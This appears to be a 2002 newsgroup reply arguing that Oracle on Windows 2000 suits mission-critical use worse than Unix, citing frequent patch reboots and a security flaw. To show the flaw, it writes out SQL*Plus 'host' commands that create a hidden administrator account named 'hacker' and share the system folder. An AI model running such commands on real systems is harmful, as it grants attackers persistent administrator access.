Re: 90GB table on Windows 2000

Only answering #4. Unix vs. Windows. You should always choose the right tool for the job. Windows is perfect for many tasks, administrators are cheap, hardware is commonly available, support is commonly available, etc. Choosing Windows/Oracle for a mission critical app is a serious mistake. Specifically because of uptime and security issues. I'll give two examples.

Example problem # 1 with Windows

Most Windows patches require reboots, even in 2000 and XP. Every reboot clears out the SGA, interrupts work, etc. Based on patch history I guarantee your Windows Server won't go more than 3 weeks without patch reboots. You could always not patch the machine, which I view as putting one foot in the unemployment line and one foot on a banana peel. On Unix a patch generally bounces the service in question only. Example = SSH patch only bounces the SSH service, not the whole operating system. This is cut and pasted from the one of the Windows Oracle servers I administer:

Successful Thursday, October 03, 2002 Q323255: Security Update (Windows 2000)
Read more... Automatic update
Successful Sunday, September 29, 2002 Q324096: Security Update (Windows 2000)
Read more... Automatic update
Successful Saturday, September 21, 2002 Microsoft Internet Explorer 6 Service Pack 1 (Windows 2000)
Read more... Web site
Successful Saturday, September 21, 2002 Microsoft Internet Explorer 6 Service Pack 1 (Windows 2000)
Read more... Web site
Successful Friday, September 20, 2002 Q324380: Security Update (Windows 2000)
Read more... Automatic update
Successful Friday, September 20, 2002 Q329077: Security Update Read more... Automatic update
Successful Friday, August 30, 2002 Q323172: Security Update Read more... Automatic update
Successful Friday, August 23, 2002 Q326830: Security Update (Windows 2000)
Read more... Automatic update
Successful Friday, August 23, 2002 Q323759: August, 2002 Cumulative Patch for Internet Explorer 5.5 SP2
Read more... Automatic update
Successful Saturday, August 17, 2002 Q326886: Security Update Read more... Automatic update
Successful Wednesday, July 31, 2002 Q320920: Security Update (Windows Media Player 6.4)
Read more... Automatic update
Successful Thursday, July 11, 2002 Q318138: Security Update Read more... Automatic update
Successful Saturday, June 29, 2002 Security Update, February 14, 2002 (Internet Explorer 5.5)
Read more... Web site
Successful Saturday, June 29, 2002 Q320206: Security Update Read more... Web site
Successful Saturday, June 29, 2002 Q321599: Security Update Read more... Web site
Successful Saturday, June 29, 2002 Q320920: Security Update (Windows Media Player 6.4)
Read more... Web site
Successful Saturday, June 29, 2002 Q321232: Security Update (Internet Explorer 5.5 Service Pack 2)
Read more... Web site
Successful Saturday, June 29, 2002 Internet Explorer 5.5 Service Pack 2 and Internet Tools
Read more... Web site

That's a lot of reboots that aren't even due to system crashes.

I recently made a very convincing argument for our 2003 budget using this example. We are going to host a a content management website using Oracle for the backend. I budgeted two scenarios for the Oracle setup =

option one = (2) Windows 2000 Advanced Server/Oracle Machines in RAC setup (no downtime since the failover will take over during routine patch reboots, ability to use more than 2 of 4 gigs of RAM for Oracle, etc.)

option two = one Redhat Advanced Server/Oracle Machine.

Obviously option two is less expensive and more solid. I agree with the previous posts that the installation and skill of the administrator contribute greatly to uptime. But you cannot ignore the fact that Windows requires constant reboots for operating system patches. Unix does not have this issue at all.

Example problem #2 with Windows

Try this SQL statement on Windows as scott/tiger or some other lowly user:

host 'net user hacker hacker /add /active:yes /expires:never'
host 'net localgroup Administrators hacker /add'
host 'net share System=c:\winnt'

Congratulations you just added an administrator called "hacker" to your server and shared out the system folder using the least privileged Oracle account!! On Windows Oracle runs as the local system account (the equivalent of root in UNIX). On Unix Oracle runs as a much less privileged user by default. This kind of problem generally applies to all services in Windows and generally doesn't apply in Unix.

If you can explain this kind of stuff to your Dilbert Pointy-haired boss he will usually agree that Unix is the best choice for the critical apps. If he doesn't agree you can drag out the documentation you made and say, "I told you so" when something goes wrong.

There is a very good reason most mission critical Oracle is on Unix. Because it's mission critical.

Kevin

andkovacs_at_yahoo.com (Andras Kovacs) wrote in message news:<412ebb69.0210080408.1777a9f2_at_posting.google.com>...
> I am having problems to maintain a very large database. In fact the
> product has just been installed and we are trying to fine tune the
> application. All the transactions are recorded into a single table
> that can't be split (but can be partitioned).
>
> Here are the facts :
> - This table has 6 attributes and 1 index on 2 of the attributes,
> structure is very simple.
> - No more than 10 concurrent users on the system to query data
> - Table records 6000 rows /min and it grows 246 MB/day
> - Its size by the end of the year is expected to be 90 GB and
> it will hold 3 153 600 000 rows &#8230;
> - At the end of the year all data older than 1 year will be archived
> in another table
> - So this table will not grow beyond 90GB
> - We are going to upgrade Oracle to the Enterprise edition
> for partitioning and bitmap indexes
> - The system runs on Window 2000 advanced server
> - We have a Compaq hardware with two 1266 MHZ CPUs
> - 2,4 GB RAM
> - Controller N1: (Disk C 17 GB Raid 1: hold OS),
> (Disk D 17 GB Raid 0: holds temp space)
> (Disk E 17 GB Raid 1: holds Oracle )
> - Controller N2: (Disk F 34 GB Raid 5: holds indexes)
> (Disk H 101GB Raid 0+1: holds data)
>
>
> My questions are :
>
> 1. What type of backup should we use ? (We are thinking about
> replication
> and incremental backups or maybe a third machine)
>
> 2. Our write performance is very good. However we have some problems
> with
> reads (at present we have 15GB of data and 320 000 000 rows). The
> first
> read for a given query takes 52 seconds. Then the second time the
> query
> runs in 12 seconds with a 100% cache hit ratio. What type of
> hardware
> (controllers and disks) should we use to improve performance (52
> seconds)?
> Is there any thing to do to reduce these 12 seconds cache reads ?
>
> 3. I have tried to rebuild the index on the table after having dropped
> it.
> It is still running ... I had to configure a 15GB temporary table
> space.
> Any advise to speed up the index reconstruction ?
>
> 4. What would be the benefit of switching from NT to Unix ?
>
> 5. If somebody has a similar sized system, could you indicate us what
> type
> of hardware you have ?
>
> Thanks for your time, Andras
Received on Sat Oct 12 2002 - 18:09:16 CDT